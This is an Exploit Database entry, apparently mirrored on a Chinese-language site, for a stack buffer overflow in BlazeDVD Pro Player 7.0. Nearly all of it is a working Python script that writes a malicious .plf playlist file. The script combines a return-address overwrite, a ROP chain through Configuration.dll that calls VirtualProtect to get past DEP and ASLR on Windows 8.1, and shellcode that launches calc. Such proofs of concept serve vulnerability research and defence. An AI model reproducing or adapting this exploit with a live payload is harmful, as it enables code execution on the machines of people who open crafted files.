BlazeDVD Pro Player 7.0 – ‘.plf’ Direct RET Local Stack Buffer Overflow

• Exploit Database
• 109 阅读

• 作者： Giovanni Bartolomucci
  日期： 2014-08-12
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/34331/
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  # BlazeDVD Pro v7.0 - (.plf) Stack Based Buffer Overflow (direct RET) - ALSR/DEP bypass on Win8.1 Pro # Date: Mon, Aug 11 2014 12:58:06 GMT # Exploit Author: Giovanni Bartolomucci # Vendor Homepage: http://www.blazevideo.com/ # Software Link: http://www.blazevideo.com/download/BlazeDVDProSetup.exe # Version: 7.0.0.0 # Tested on: Windows 8.1 Pro # h/t to corelanc0d3r and b33f for their tutorials   #!/usr/bin/python import sys, struct file = "calc.plf"   junk1 = "\x41"*260 neweip= "\x5b\x51\x32\x60" junk2 = "\x41"*24   rop ="\x41\x47\x32\x60" # POP EBP # RETN [Configuration.dll] rop += "\xb5\x59\x33\x60" # &(PUSH ESP # RET 0x0C) [Configuration.dll] rop += "\xf6\x07\x33\x60" # POP EAX # RET [Configuration.dll] rop += "\x91\x11\x11\x11" # Value to be subtracted, will become 0x000000080 rop += "\x39\x03\x33\x60" # POP ECX # RETN [Configuration.dll] rop += "\x11\x11\x11\x11" # Value to subtract rop += "\xda\x6d\x32\x60" # SUB EAX,ECX # RETN [Configuration.dll] rop += "\x7d\x41\x32\x60" # XCHG EAX,EBX # XOR AL,60 # RETN [Configuration.dll] rop += "\xf6\x07\x33\x60" # POP EAX # RETN [Configuration.dll] rop += "\x47\x98\x31\x60" # Junk R address rop += "\x47\x98\x31\x60" # POP EDX # ADD AL,BYTE PTR ES:[EAX] # NOP # NOP # NOP # NOP # NOP # MOV EAX,Configur.60346A70 # RETN [Configuration.dll] rop += "\x51\x11\x11\x11" # Value to be subtracted, will become 0x000000040 rop += "\xf6\x07\x33\x60" # POP EAX # RETN [Configuration.dll] rop += "\x11\x11\x11\x11" # Value to subtract rop += "\x78\x8b\x30\x60" # SUB EDX,EAX # XOR EAX,EAX # CMP ECX,EDX # SETG AL # RETN 0x04 [Configuration.dll] rop += "\x8c\xf0\x33\x60" # POP ECX # RETN [Configuration.dll] rop += "\x41\x41\x41\x41" # Junk rop += "\x0b\x17\x36\x60" # & Writable location [Configuration.dll] rop += "\xee\x78\x32\x60" # POP EDI # RETN [Configuration.dll] rop += "\x09\x48\x32\x60" # RETN (ROP NOP) [Configuration.dll] rop += "\x65\x08\x33\x60" # POP EAX # RETN [Configuration.dll] rop += "\xcc\x42\x05\x64" # ptr to &VirtualProtect() [IAT MediaPlayerCtrl.dll] rop += "\xed\xd6\x33\x60" # MOV ESI,DWORD PTR DS:[EAX] # RETN [Configuration.dll] rop += "\xa2\x92\x32\x60" # POP EAX # RETN [Configuration.dll] rop += "\x90\x90\x90\x90" # NOP rop += "\x28\xc3\x33\x60" # PUSHAD # RETN [Configuration.dll]   shellcode = ("\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63" "\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72" "\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30" "\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78" "\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24" "\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E" "\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74" "\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7\xCC")   exploit = junk1 + neweip + junk2 + rop + shellcode writeFile = open(file, "w") writeFile.write(exploit) writeFile.close()